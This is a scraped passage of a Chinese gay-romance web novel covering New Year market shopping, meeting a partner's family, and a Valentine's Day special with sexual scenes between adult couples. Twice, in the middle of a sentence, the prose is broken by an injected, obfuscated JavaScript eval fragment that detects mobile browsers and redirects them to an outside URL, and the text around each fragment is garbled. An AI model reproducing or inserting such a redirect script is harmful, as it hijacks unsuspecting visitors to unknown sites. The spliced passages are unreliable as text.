“一般都是一米二。”老大爷插嘴,“正常住宅门都这个尺寸。” 他指着地上的对联:“一米二的在这儿,自己挑。” 周浩蹲下来,一张张翻。 “这个好!”他拿起一张,“‘财源广进’!” 林屿看了一眼:“太俗。” “那这个呢?‘福满人间’!” “普通。” “这个这个——‘金玉满堂’!” “跟你家有关系吗?” 周浩被噎得没话说。他把那张放下,继续翻。 翻了半天,最后拿起一张:“‘一年好景同春到,四季财源顺时来’——这个呢?” 林屿接过来看了看。 “可以。”他说。 周浩眼睛亮了:“真的?” “嗯。对仗工整,寓意也好。” 周浩立刻把那副对联举起来,对老大爷说:“大爷,这个我要了!” 老大爷笑呵呵地接过去:“小伙子有眼光,这个写得好。还要别的吗?福字要吗?” “福字——”周浩看向林屿。 林屿已经蹲在那儿挑了。 他选了三张福字,都是正红的底子,烫金大字。其中一张边缘有缠枝花纹,很精致。 “这张好看。”他说。 周浩凑过去看:“那我也要这张!” 林屿看了他一眼。 “你家不是也买了吗?” “那不一样。”周浩理直气壮,“你家的和我家的,能一样吗?” 林屿没说话,但把那张福字叠好,放进袋子里。 周浩又挑了两个窗花——一对红色的锦鲤。他举着问林屿:“可爱吗?” 林屿看了眼那对胖乎乎的鱼。 “嗯。” 周浩喜滋滋地放进袋子。 买完对联福字,两人继续往里走。 干果摊前人山人海。周浩挤进去,又被挤出来。再挤进去,又被挤出来。 林屿站在外面看着他,嘴角微微弯着。 “林屿!”周浩隔着人群喊他,“你想吃什么?!” “随便。” “随便是什么?!” “你挑你爱吃的。” 周浩愣了一下,然后笑了。 他又挤进去,这次终于挤到了柜台前。 二十分钟后,他拎着大包小包挤出来。袋子鼓鼓囊囊,装着瓜子、花生、开心果、巴旦木,还有一袋他最爱吃的糖霜山楂。 “太多了。”林屿说。 “不多不多!”周浩把袋子往他手里塞,“过年嘛,吃得多!” 林屿接过袋子。 他低头看了一眼——糖霜山楂在最上面,被周浩特意放在显眼的位置。 他默默把那袋山楂往里挪了挪,怕被人撞到。 逛到糖果摊,周浩走不动了。 满摊的大白兔、奶糖、牛轧糖、巧克力,花花绿绿堆成小山。 “林屿,”他扯了扯林屿的袖子,“我能买点糖吗?” 林屿看了他一眼。 “你牙不是疼过吗?” 周浩心虚地缩了缩脖子:“那、那是上个月……” “上周。” “……上周你也知道?” 林屿没说话,但眼神说明了一切。 周浩败下阵来。 “那就买一点点……”他小声说,“过年吃……” 林屿看着他。 周浩的眼睛亮晶晶的,里面全是对糖的渴望。 林屿沉默了三秒。 “半斤。”他说。 周浩眼睛更亮了:“真的?!” “不能再多。” “好好好!半斤就半斤!” 周浩冲到摊前,对老板喊:“老板,称半斤大白兔!要最甜的那种!” 林屿站在后面,看着他的背影。 嘴角微微弯着。 买完糖,周浩心满意足。他一边走一边剥了一颗大白兔塞进嘴里,腮帮子鼓鼓的。 “林屿,你也吃。” 他把糖递到林屿嘴边。 林屿低头,张嘴含住。 “甜吗?”周浩问。 林屿嚼了嚼。 “嗯。” “嘿嘿。”周浩笑得眯起眼,“我挑的。” 两人继续往里逛。 周浩忽然看见一个摊子,卖的全是红色的东西。红袜子、红内裤、红秋衣秋裤,堆得满坑满谷。 他停住脚步。 “林屿。” “嗯。” “本命年是不是要穿红色?” 林屿愣了一下:“你本命年?” “不是。”周浩指着那堆红衣服,“就是……随便问问。” 林屿看着他。 周浩被他看得心虚,移开视线。 “走、走吧,去那边看看——” “周浩。”林屿叫住他。 周浩停住。 “你在想什么?” “没、没什么……” “你想给我买?” 周浩僵住了。 林屿看着他,忽然笑了。 “周浩。” “嗯……” “明年是我本命年。” 周浩瞪大眼睛:“真的?!” “嗯。” “那、那得穿红色啊!”周浩立刻往摊子那边走,“得买!买全套!” 林屿拉住他。 “不急。” “怎么不急!马上就到了!” “下个月才过年。”林屿说,“现在买了,到时候找不到放哪儿了。” 周浩想了想,觉得有道理。 “那过了年再买?” “嗯。” 周浩这才罢休。他回头又看了一眼那堆红衣服,小声嘀咕:“得买最红的……” 林屿听见了。 他没说话,只是握紧了周浩的手。 逛到中午,两人都饿了。 市场旁边有家面馆,门面不大,人挤得满满当当。周浩站在门口看了一眼,咽了口口水。 “林屿,我想吃那个。” 林屿顺着他的视线看过去——招牌上写着“老北京炸酱面”。 “走。” 两人挤进去,在角落找到两个位置。周浩点了两碗炸酱面,又加了一盘拍黄瓜。 等面的功夫,他托着腮看林屿。 “林屿。” “嗯。” “你今天开心吗?” 林屿抬眼看他。 “你呢?” “我开心啊!”周浩说,“特别开心!第一次跟你逛年货市场!” 林屿看着他。 “我也是。” 周浩愣了一下:“你也是什么?” “也是第一次。”林屿说。 周浩张了张嘴,忽然不知道该说什么了。 林屿第一次逛年货市场。 和他一起。 这个认知让他心里软成一团。 “那、那以后每年都来!”他说,“每年都来!” 林屿看着他,轻轻“嗯”了一声。 面端上来了,热腾腾的两大碗。周浩埋头吃,吃了一半,忽然想起什么。 “林屿,你家过年有什么规矩吗?” 林屿筷子顿了一下。 “什么规矩?” “就……”周浩斟酌着词句,“比如说什么不能做,什么一定要做之类的。” 林屿想了想。 “三十晚上守岁。” “嗯嗯。” “初一早上吃饺子。” “嗯嗯。” “初一不能扫地,不能倒垃圾。” “嗯嗯。” “初二回娘家——这条我们家不适用。” 周浩听得认真,恨不得掏出小本本记下来。 林屿看着他那个认真的样子,忽然说:“你不用紧张。” 周浩抬起头。 “我家没那么多规矩。”林屿说,“我妈做饭好吃,我爸话少,我弟可能有点吵。” 他顿了顿。 “但他们都会喜欢你。” 周浩愣住了。 “你怎么知道?” “因为……”林屿看着他,“我喜欢你。” 周浩心跳漏了一拍。 “他们就会喜欢你。” 周浩看着林屿,觉得眼眶有点酸。 他低头,继续吃面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271923|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了两口,闷闷地说:“林屿。” “嗯。” “你说话怎么总这样。” “哪样?” “就是……”周浩抬起头,“就是让人想哭。” 林屿看着他。 “那我以后少说。” “别!”周浩急了,“多说!天天说!” 林屿笑了。 “好。” 吃完饭,两人继续逛。 下午两点多,该买的都买得差不多了。对联、福字、窗花、干果、糖果、还有一堆杂七杂八的年货,把林屿带的帆布袋塞得鼓鼓囊囊。 周浩手里还拎着个袋子——里面是他给自己买的东西。 两双红袜子。一对红窗花。一袋糖霜山楂。还有一张福字,跟林屿那张一模一样。 “回吧。”林屿说。 “嗯。” 两人往停车场走。周浩走着走着,忽然停住。 “林屿。” “嗯?” “那个……”周浩指了指旁边的摊位,“我想买个那个。” 林屿顺着他的视线看过去。 是卖灯笼的。红彤彤的圆形灯笼,大大小小挂了一排。 “买灯笼干什么?” “挂阳台上。”周浩说,“好看。” 林屿看了眼价格——小号三十五,大号五十。 “买哪个?” 周浩挑了最小的那个。 “这个。” 林屿看了他一眼。 “为什么买最小的?” “省点钱。”周浩挠头,“还得给你买本命年红衣服呢。” 林屿愣住了。 他看着周浩,看了很久。 周浩被他看得心里发毛:“怎、怎么了……” 林屿没说话。 他掏出钱包,拿了一张一百的给老板。 “那个最大的。”他说。 周浩瞪大眼睛:“不用!我那个就行——” “最大的。”林屿重复,“挂阳台上,亮。” 周浩张了张嘴,没说出话。 老板笑呵呵地把最大的那个灯笼取下来,包好递过来。 林屿接过灯笼,塞进周浩手里。 “走吧。” 周浩抱着那个红彤彤的大灯笼,站在原地。 林屿走了两步,回头看他。 “不走?” 周浩回过神,快步追上去。 “走、走!” 他把灯笼抱在怀里,红光照在他脸上,也照进他眼睛里。 “林屿。”他小声说。 “嗯。” “这个灯笼……我过年每天都会点。” 林屿没说话。 “你来我家就能看见了。” 林屿脚步顿了一下。 然后他继续走。 “……嗯。” 傍晚五点,两人回到林屿家门口。 周浩把东西放下,站在门口往里张望。 林屿看了他一眼。 “进来坐坐?” 周浩心跳加速。 “方便吗?” “方便。” 门开了。屋里飘出饭菜的香气,还有电视机的声音。 “妈。”林屿喊了一声,“我回来了。” “回来啦?”厨房里传来声音,“正好,饭快好了——这位是?” 林屿的妈妈从厨房探出头,看见周浩,愣了一下。 “阿姨好!”周浩立刻鞠躬,动作标准得像军训汇报表演,“我是周浩!林屿的同学!” 林妈妈看着他,笑了。 “哦——周浩啊,林屿老提起你。” 周浩愣住了。 老提起? 林屿? 他看向林屿。 林屿面无表情地换鞋,但耳尖红了一点。 “进来坐吧。”林妈妈说,“正好吃饭,添双筷子。” 周浩受宠若惊:“这、这太麻烦了……” “不麻烦不麻烦。”林妈妈已经回厨房忙去了,“林屿,给你同学倒水。” 周浩站在玄关,手足无措。 林屿递给他一双拖鞋。 “换鞋。” “哦哦。” 他换好鞋,走进客厅。 客厅不大,收拾得很干净。茶几上摆着果盘,电视里放着新闻。阳台上挂着刚洗的衣服,空气里有洗衣液的清香。 林屿的弟弟林峰坐在沙发上打游戏,看见周浩,眼睛一亮。 “浩哥!你来啦!” “啊,小峰,腿好了吗?” “好了好了!”林峰拍了拍自己的腿,“早就好了!哥,浩哥是来咱家过年的吗?” 林屿看了他一眼。 “不是。” “那来干嘛的?” “送年货。” 林峰看看周浩手里的年货袋子,又看看他哥,表情微妙。 “哦——”他拉长声音,“送年货啊。” 周浩总觉得他这个“哦”意味深长。 厨房里传来炒菜的声音。林爸爸从卧室出来,看见周浩,点点头:“来了?” “叔叔好!”周浩又鞠躬。 “坐吧,别客气。”林爸爸在沙发上坐下,拿起遥控器换台。 周浩在沙发上坐下,手都不知道往哪儿放。 林屿在他旁边坐下,很自然地递给他一杯水。 周浩接过来,喝了一口。 林峰在对面看着他俩,嘴角挂着意味深长的笑。 周浩被他看得心里发毛,小声问林屿:“你弟笑什么?” 林屿看了一眼林峰。 “没什么。” “肯定有什么……” “周浩。”林屿忽然说。 “嗯?” “留下来吃饭。” 周浩愣住了。 “我妈做饭挺好吃的。” 周浩看着他。 林屿的侧脸被电视光映得明明暗暗,看不出表情。 但他的手,在周浩手背上轻轻碰了一下。 周浩心跳漏了一拍。 “……好。” 厨房里飘出红烧肉的香味。 窗外,腊月的天黑得早,五点多已经亮起了路灯。 电视里在放新闻联播的前奏曲。 林峰低头打游戏,但嘴角一直弯着。 林爸爸专注地看电视,但余光偶尔会扫过来。 林屿的手,还轻轻覆在周浩手背上。 周浩觉得,这是他这辈子吃过最香的饭。 还没吃,就香了。 33. 情人节特辑(上) 二月十四号早上七点,鹿之言是被热醒的。 不是暖气太热。是身后那个人太热。 陆知岩像个大型暖炉一样贴着他,手臂箍在他腰上,腿还压着他的小腿。呼吸均匀地打在他后颈,痒痒的。 鹿之言想动一下。 身后的人立刻收紧手臂。 “别动。”陆知岩声音还带着睡意,沙沙的,“再睡会儿。” “七点了。” “七点怎么了。” “你九点要上班。” 陆知岩沉默了两秒。 “……让我再抱十分钟。” 鹿之言没说话。 但他也没动。 两人就这样安静地躺着。窗帘透进来一点光,在卧室地板上铺开淡淡的金色。 过了几分钟。 “之言。”陆知岩忽然开口。 “嗯。” “你知道今天什么日子吗?” 鹿之言沉默了一下。 “……情人节。” 陆知岩笑了。他把脸埋进鹿之言后颈,闷闷地说:“我老婆记着呢。” 鹿之言没理他。 “那你知道,”陆知岩的手开始不老实,从他腰侧往下滑,“我想要什么礼物吗?” 鹿之言按住他的手。 “不知道。” “那我告诉你——” “不想知道。” 陆知岩委屈了:“之言——” “说人话。” 陆知岩不闹了。他从背后抱着鹿之言,下巴搁在他肩上,声音放得很软。 “之言,今天能再穿一次那个吗?” 鹿之言动作顿了一下。 “哪个?” “就那个。”陆知岩说,“女仆装。” 鹿之言沉默了。 陆知岩感觉到他的沉默,立刻补充:“就穿一会儿!不用出门!在家就行!” “……不穿。” “穿一下下?” “不。” “就让我看一眼?” “不。” “之言——” “陆知岩。”鹿之言打断他,“那套衣服穿着不舒服。” 陆知岩愣了一下。 “不舒服?” “嗯。”鹿之言声音低下去,“鞋太高,站不稳。布料太薄,有点冷。裙摆太短,一直担心走光。” 他顿了顿。 “而且……”他声音更低了,“你那天太凶了。” 陆知岩心里一软。 他把鹿之言翻过来,让他面对着自己。 “对不起。”他亲了亲他的额头,“那天是我太过了。” 鹿之言没说话。 “以后不让你穿那个了。”陆知岩说,“不舒服就不穿。” 他看着鹿之言的眼睛,认真地说:“你穿什么都好看。不穿也好看。” 鹿之言的耳尖红了。 “……油嘴滑舌。” “真心话。” 鹿之言没接话。他垂下眼睫,过了一会儿,忽然说: “今天……真的想要?” 陆知岩愣了一下。 “不用——”他刚开口。 “晚上。”鹿之言打断他,“等你下班回来。” 陆知岩张着嘴,看着他。 鹿之言面无表情地转回去,背对着他。 但耳尖红透了。 陆知岩愣了三秒。 然后他从背后抱住鹿之言,笑得像个傻子。 “之言!” “闭嘴。” “我爱你!” “知道了。” “我爱你我爱你我爱你——” “陆知岩。”鹿之言声音平静,“再喊我踹你下去。” 陆知岩不喊了。 但他抱着鹿之言,笑得肩膀都在抖。 鹿之言懒得理他。 但他嘴角,微微弯了一下。 上午九点半,陆沉远收到了陆知岩的消息。 【哥】:[图片] 陆沉远点开。 是一张聊天截图。 备注是“言”。 时间显示今早七点四十三分。 【哥】:之言答应今晚再穿女仆装了! 【言】:…… 【言】:我没答应。 【哥】:你说了“晚上”。 【言】:那是让你别现在烦我。 【哥】:那就是晚上可以! 【言】:随便你怎么想。 【哥】:[截图] 【哥】:看见没,他没否认! 陆沉远:“……” 他放下手机,看向坐在旁边的鹿炽。 他们正在去游乐园的路上。今天是情人节,鹿炽早上八点就被他从被窝里薅起来,塞上车,说带他去玩。 鹿炽现在靠在副驾驶座上,还有点迷糊。 “到了吗?”他问。 “快了。”陆沉远说,“二十分钟。” 鹿炽“嗯”了一声,又闭上眼睛。 陆沉远看着他的侧脸。 阳光从车窗照进来,在他脸上镀了一层淡淡的金色。睫毛很长,偶尔轻轻颤一下。嘴唇微微抿着,看起来软软的。 陆沉远看了几秒,收回视线。 手机又震了。 【哥】:你那边呢?鹿炽今天给你准备什么惊喜? 陆沉远想了想。 【弟】:没准备。 【哥】:? 【弟】:我准备了。 【哥】:你准备了什么? 陆沉远看了眼后座那个藏起来的袋子。 袋子里装着一件白透衬衫,一件超短包臀裙,还有一双黑皮红底高跟鞋。 他昨天偷偷买的。 “陆沉远?”鹿炽睁开眼,“你在看什么?” “没什么。”陆沉远收回视线,“在想晚上吃什么。” “晚上不是回家吃吗?” “嗯。”陆沉远说,“回家吃。” 他顿了顿。 “我给你做。” 鹿炽愣了一下。 “你会做饭?” “会一点。” “做什么?” 陆沉远想了想。 “你想吃什么?” 鹿炽看着他,眼睛亮晶晶的。 “你做的都行。” 陆沉远笑了。 “好。” 游乐园人很多。 到处都是情侣,牵着手,搂着腰,你喂我一口冰淇淋,我帮你擦嘴角的奶油。空气中弥漫着甜腻的气息——不只是糖,还有恋爱的味道。 鹿炽第一次来游乐园。 他站在门口,看着巨大的摩天轮,眼睛都直了。 “陆沉远,”他扯了扯他的袖子,“那个好高。” “想坐吗?” “想!” 陆沉远牵起他的手:“走。” 一整天,他们玩了旋转木马、海盗船、碰碰车。鹿炽最爱碰碰车,开着粉色小车满场撞人,笑得眼睛弯成月牙。 陆沉远就在旁边看着他。 看他笑,看他跑,看他被糖画摊的老爷爷夸“小伙子长得真俊”。 他忽然觉得,这辈子值了。 下午四点,鹿炽累了。 他们坐在长椅上,鹿炽靠在他肩上,手里举着刚买的棉花糖。 “陆沉远。” “嗯。” “今天怎么突然想来游乐园?” 陆沉远想了想。 “想看你开心。” 鹿炽愣了一下。 “就……这样?” “嗯。”陆沉远说,“你开心,我就开心。” 鹿炽没说话。 他低头咬了一口棉花糖。 过了很久。 “我今天很开心。”他小声说。 陆沉远笑了。 “那就好。” 晚上七点,陆沉远把鹿炽送回了家。 “你先休息会儿。”他说,“我八点来接你。” 鹿炽愣了一下:“还要出去?” “嗯。”陆沉远说,“晚上还有安排。” “什么安排?” “保密。” 鹿炽看着他,眼睛亮亮的。 “……好。” 陆沉远开车回到自己家。 他家在城东,一个不大的公寓,平时就他一个人住。今天出门前他收拾过了,客厅干净,卧室也干净。 他拎着那个袋子上楼。 进门,把袋子放在床上。 然后他拿出手机,给鹿炽发消息。 【远】:八点来接你。 【炽】:好。 【远】:穿舒服点。 【炽】:? 【远】:晚上要活动。 【炽】:什么活动? 陆沉远想了想。 【远】:保密。 发完,他把手机放下,走进浴室。 热水冲下来,他闭上眼睛。 脑海里浮现出鹿炽穿上那套衣服的样子。 白透衬衫,若隐若现的皮肤。 超短包臀裙,刚好遮住大腿根。 黑色高跟鞋,细跟,红底。 他睁开眼,把水温调低了一点。 不能再想了。 八点整,陆沉远准时出现在鹿炽家门口。 鹿炽上了车,穿着一件奶白色毛衣和浅色牛仔裤,干干净净的。 “去哪儿?”他问。 “我家。”陆沉远说。 鹿炽愣了一下:“你家?” “嗯。” “去你家干嘛?” 陆沉远看了他一眼。 “吃饭。” 鹿炽没再问了。 但他的手,在座位上轻轻攥紧了。 到了陆沉远家,鹿炽换了拖鞋,在客厅里转了一圈。 “你家挺干净的。” “嗯。”陆沉远把外套挂起来,“你先坐,我去做饭。” 鹿炽跟到厨房门口,扒着门框看他。 陆沉远系上围裙,开始洗菜切菜。动作不算熟练,但很认真。 鹿炽看了几分钟,忽然说:“我帮你。” “不用,你坐着。” “我想帮。” 陆沉远转头看他。 鹿炽站在门口,眼睛亮晶晶的。 “……过来吧。” 两人在厨房里忙活了四十分钟。鹿炽负责洗菜、递调料,陆沉远负责切、炒、煮。配合得磕磕绊绊,但居然也做出来三菜一汤。 吃饭的时候,鹿炽一直笑。 “笑什么?”陆沉远问。 “没什么。”鹿炽夹了一块排骨,“就是觉得……你做饭的样子,挺好看的。” 陆沉远筷子顿了一下。 “真的?” “嗯。” 陆沉远看着他。 鹿炽低头吃饭,但耳尖红了。 吃完饭,陆沉远收拾碗筷。鹿炽要去帮忙,被他拦住。 “不用。”陆沉远说,“你去洗个澡。” 鹿炽愣了一下:“洗澡?” “嗯。”陆沉远说,“睡衣在浴室架子上,干净的。” 鹿炽看着他。 陆沉远的表情很平静。 “……好。”鹿炽说。 他走进浴室,关上门。 水声响起。 陆沉远在外面把碗放进洗碗机,擦了擦手。他走到卧室,看了一眼床上的袋子。 袋口封着。 他深吸一口气,转身回到客厅。 十分钟后,浴室门开了。 鹿炽穿着他的睡衣出来——太大了,袖口盖过手指,裤脚拖在地上。头发还湿着,滴着水。 “陆沉远。”他叫他。 “嗯?” “吹风机在哪儿?” 陆沉远站起来,走进浴室,拿了吹风机出来。 “坐下。”他说。 鹿炽在沙发上坐下。 陆沉远站在他身后,打开吹风机,帮他吹头发。 暖风呼呼地响。 鹿炽眯着眼,很享受的样子。 头发吹到半干,陆沉远关掉吹风机。 “好了。”他说。 鹿炽站起来,转身看他。 “接下来干嘛?” 陆沉远看着他。 睡衣太大,领口滑下去一点,露出半边锁骨。头发乱蓬蓬的,脸上还有刚洗完澡的淡粉色。 “接下来,”他说,“你去卧室。” 鹿炽愣了一下。 “床上有个袋子。”陆沉远说,“穿里面的衣服。” 鹿炽看着他。 “然后呢?” “然后等我。” 鹿炽没说话。 他转身,走进卧室。 门轻轻关上。 陆沉远站在原地,站了很久。 然后他走进浴室。 热水冲下来,他闭上眼睛。 心跳很快。 不知道过了多久,他关掉水,擦干身体,穿上浴袍。 他走到卧室门口。 深吸一口气。 推开门。 鹿炽站在床边。 白透衬衫,薄得几乎透明,里面什么都没穿。衬衫下摆塞进包臀裙里,裙子短得刚好遮住大腿根。黑色高跟鞋,细跟,红底。 他扶着床头柜,站不太稳,小腿微微绷紧。 头发已经干了,柔软地垂在耳边。 他低着头,耳尖红透了。 陆沉远走过去。 在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271924|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前站定。 “鹿炽。” 鹿炽抬起头。 他的眼睛湿漉漉的,睫毛在灯光下轻轻颤着。 “好看吗?”他问。声音很轻。 陆沉远看了他很久。 “好看。”他说,“比我想象的还好看。” 鹿炽的眼泪掉下来。 “我紧张……” “我知道。”陆沉远伸手,帮他擦掉眼泪,“我也是。” 鹿炽看着他。 “你紧张什么?” “怕弄疼你。”陆沉远说,“怕你不舒服。怕你害怕。” 他顿了顿。 “怕太喜欢你了,控制不住。” 鹿炽愣了一下。 然后他笑了。 “那你别控制。”他说。 他踮起脚——穿着高跟鞋勉强够到——在陆沉远嘴角亲了一下。 “别控制。”他又说了一遍。 陆沉远看着他。 看了很久。 然后他低头,吻住他。 这一夜很长。 窗帘没拉严,月光从缝隙漏进来,照在交叠的人影上。 鹿炽的声音断断续续。 有时是呜咽,有时是求饶,有时是陆沉远的名字。 但陆沉远没停。 “不是说别控制吗?”他哑声问。 鹿炽说不出话了。 他只能抓着床单,把脸埋进枕头里。 眼泪流了很多。 但不是因为疼。 晚上十点,陆知岩回到家。 客厅没开灯。他正要开灯,忽然看见落地窗前站着一个人。 鹿之言。 他穿着那套女仆装。黑色蕾丝,蝴蝶结,黑丝,高跟鞋。 月光从落地窗照进来,落在他身上。 他就那样站着,看着窗外的城市夜景。 听见门响,他转过头。 “回来了?” 陆知岩站在玄关,看着他。 看了很久。 “嗯。”他走过去。 在他面前站定。 “等很久了?” “还好。”鹿之言说,“一会儿。” 陆知岩伸手,轻轻碰了碰他的脸。 凉的。 “站多久了?” “没多久。” 陆知岩没说话。他把自己的外套脱下来,披在鹿之言身上。 鹿之言愣了一下。 “你……” “别着凉。”陆知岩说,“去楼上。” “楼上?” “嗯。”陆知岩牵起他的手,“陪我去楼上待会儿。” 二楼有一个小台球室。 陆知岩打开灯,绿呢台球桌静静地躺在那里。 “会打吗?”他问。 “不会。” “我教你。” 他拿起球杆,摆好姿势,给鹿之言示范。 鹿之言在旁边看着。 示范完,陆知岩把球杆递给他。 “试试。” 鹿之言接过球杆。 他弯下腰,准备击球。 裙摆太短。一弯腰,什么都露出来了。 陆知岩站在旁边,看见了。 他喉结动了动。 “姿势不太对。”他走过去,从后面握住他的手,“手要这样放。” 鹿之言没说话。 他被他圈在怀里,能感觉到他的体温。 “腰再低一点。”陆知岩说。 鹿之言弯腰。 裙摆又往上缩了缩。 陆知岩的呼吸重了一点。 但他没动。他只是继续握着鹿之言的手,帮他调整姿势。 “瞄准那颗红球。”他说,“打。” 鹿之言击球。 没进。 “再来。”陆知岩说。 第二杆,还是没进。 第三杆,终于进了一颗。 鹿之言直起腰,转头看他。 “进了。” 陆知岩看着他。 月光从窗户照进来,落在鹿之言身上。黑色蕾丝在月光下泛着淡淡的光泽,蝴蝶结系在锁骨下方,裙摆因为刚才的动作皱起一点,露出大腿根。 他还穿着高跟鞋,站得不太稳,一只手扶着台球桌边缘。 “嗯。”陆知岩说,“进了。” 他松开手。 退后一步。 “再来一杆?” 鹿之言看着他。 他的眼睛在月光下很亮。 “好。” 他又弯下腰。 这次他弯得很低。 裙摆什么都遮不住了。 陆知岩没再教他。 他站在旁边,看着。 看着鹿之言弯腰击球,看着他因为站不稳微微晃动,看着他身上的蕾丝在月光下轻轻颤动。 鹿之言又进了一颗球。 他直起腰,转头看陆知岩。 “又进了。” 陆知岩看着他。 看了很久。 然后他走过去。 “之言。” “嗯。” “你知道你在干什么吗?” 鹿之言看着他。 “知道。” 陆知岩的呼吸重了。 “那你知道,”他声音低下去,“我快忍不住了吗?” 鹿之言的嘴角微微弯了一下。 “那就别忍。” 陆知岩看着他。 三秒后。 球杆掉在地上。 鹿之言被按在台球桌上。 绿色的呢绒贴着后背,有点凉。但很快就不凉了,因为陆知岩压了上来。 “之言。”他在他耳边说。 “嗯。” “你刚才弯腰的时候。” “嗯?” “我脑子里只有一个念头。” 鹿之言看着他。 “什么?” 陆知岩低头,吻住他的锁骨。 “□□。” 这一夜很长。 台球室的灯亮到很晚。 鹿之言后来不记得自己进了多少颗球。 他只记得绿色的呢绒,黑色的蕾丝,月光,还有陆知岩的呼吸。 快天亮的时候,陆知岩把他抱回卧室。 鹿之言已经困得睁不开眼了。 “陆知岩。”他迷迷糊糊地说。 “嗯。” “情人节快乐。” 陆知岩愣了一下。 然后他笑了。 “快乐。”他在他额头落下一个吻,“我的情人节礼物,是最好的。” 鹿之言没说话。 但他往他怀里靠了靠。 但对他们来说,每一天都是情人节。 34. 情人节特辑(下) 二月十四号早上六点,周浩就醒了。 不是自然醒。是吓醒的。 他睁着眼睛盯着天花板,心跳快得像刚跑完一千米。昨晚睡前明明还好好的,做了个梦就变成这样了。 梦里他去了林屿家,林妈妈笑眯眯地看着他,说:“小周啊,你什么时候娶我们家林屿?” 然后他就醒了。 周浩躺在床上,盯着天花板,脑子里乱成一团。 今天要去林屿家。 今天要跟他爸妈说他们的事。 今天是情人节。 他翻了个身,把脸埋进枕头里。 手机震了。 【屿】:醒了? 周浩摸过手机。 【浩】:醒了…… 【屿】:紧张? 周浩看着那个“紧张”,犹豫了两秒。 【浩】:有点。 【屿】:正常。 【屿】:我也紧张。 周浩愣住了。 林屿也会紧张? 他盯着屏幕,看了好几遍,确定是林屿发的。 【浩】:你紧张什么? 【屿】:怕你太紧张。 【浩】:…… 【屿】:怕你临阵脱逃。 【浩】:我不会! 【屿】:嗯。 【屿】:九点来接你。 周浩看着那个“嗯”,忽然不那么紧张了。 林屿也会紧张。林屿也怕。 但他们要一起面对。 这就够了。 九点整,周浩出现在小区门口。 他今天穿了件白色毛衣,外面套着藏青色大衣,裤子是新买的,鞋也刷得干干净净。头发喷了发胶,闻起来一股橘子味。 林屿站在路边等他。 他穿了一件浅灰色大衣,里面是黑色高领毛衣,围巾是周浩送的那条——深灰色羊绒的,他圣诞节送的。 周浩跑过去。 “等很久了吗?” “刚到。”林屿看着他,“换发型了?” 周浩愣了一下:“你看出来了?” “嗯。”林屿说,“往右边分了。” 周浩心跳漏了一拍。 “你……你连这都看得出来?” 林屿没说话。 他伸手,把周浩额前一缕翘起来的头发按下去。 “走吧。” 周浩跟在他后面,嘴角压都压不住。 礼物。林屿记得他所有的细节。 这个认知让他心跳加速。 林屿家在老城区,一个很安静的小区。六层楼的老房子,外墙刷成米黄色,楼下种着几棵桂花树。 周浩站在单元门口,深吸一口气。 “林屿。” “嗯。” “你爸妈……喜欢什么?” 林屿看着他。 “喜欢你。” 周浩愣住了。 “他们没见过你。”林屿说,“但听我提过。” 他顿了顿。 “我爸说,能让我提那么多次的人,肯定不一般。” 周浩张了张嘴,不知道该说什么。 林屿看着他。 “紧张?” “有点……” “那我再说一个。” “什么?” “我妈做的红烧肉,特别好吃。” 周浩:“……” 他哭笑不得。 “林屿,这有什么好说的——” “你不是紧张吗。”林屿说,“想着红烧肉,就不紧张了。” 周浩看着他。 林屿的表情很平静,但眼神里有一点笑意。 周浩忽然觉得,他好像真的不那么紧张了。 “走吧。”林屿牵起他的手。 两人一起走进单元门。 三楼,302。 林屿敲了敲门。 门开了。 林妈妈站在门口,围着围裙,手里还拿着锅铲。看见周浩,她笑了。 “小周来啦?快进来快进来!” 周浩被热情地迎进去。 屋里飘着红烧肉的香味。林爸爸坐在沙发上看电视,看见他,点点头:“来了?” “叔叔好!”周浩鞠躬。 “坐吧坐吧。”林妈妈往厨房走,“饭马上好,你们先聊。” 周浩在沙发上坐下,手都不知道往哪儿放。 林屿在他旁边坐下,很自然地递给他一杯水。 林峰从卧室探出头,看见周浩,眼睛一亮。 “浩哥!” “小峰。”周浩打招呼,“腿好了?” “好了好了!”林峰走过来,在他旁边坐下,“浩哥你今天来干嘛的?” 周浩僵住了。 林屿看了弟弟一眼。 “送情人节礼物。” 林峰张大嘴。 “哥你——” “嗯。” 林峰看看他哥,又看看周浩,又看看他哥。 然后他站起来,往卧室走。 “我去打游戏了。你们聊。” 门关上了。 周浩:“……” 林屿表情平静。 “他挺懂事的。” 周浩想说什么,但林爸爸先开口了。 “小周。” 周浩立刻坐直:“叔叔!” 林爸爸看着他,目光温和。 “林屿跟我们说了你们的事。” 周浩心跳加速。 “我们没什么意见。” 周浩愣住了。 “他从小就有主意。”林爸爸说,“能让他放在心上的,肯定不差。” 他顿了顿。 “你对他好就行。” 周浩张了张嘴,眼眶有点酸。 “我会的。”他说,“叔叔,我一定会的。” 林爸爸点点头,继续看电视。 林妈妈从厨房出来,端着红烧肉。 “吃饭吃饭!” 餐桌上很热闹。 林妈妈一直给周浩夹菜,他碗里堆成了小山。林爸爸话不多,但偶尔会问两句,问他在哪个学校,学什么专业,以后想做什么。 林峰在旁边闷头吃饭,但时不时抬头看他哥一眼,嘴角挂着意味深长的笑。 周浩被夹菜夹得手忙脚乱。 “阿姨,够了够了……” “多吃点,你太瘦了!” “我、我不瘦……” “男孩子要壮一点才好看。” 周浩看向林屿。 林屿低头吃饭,假装没看见。 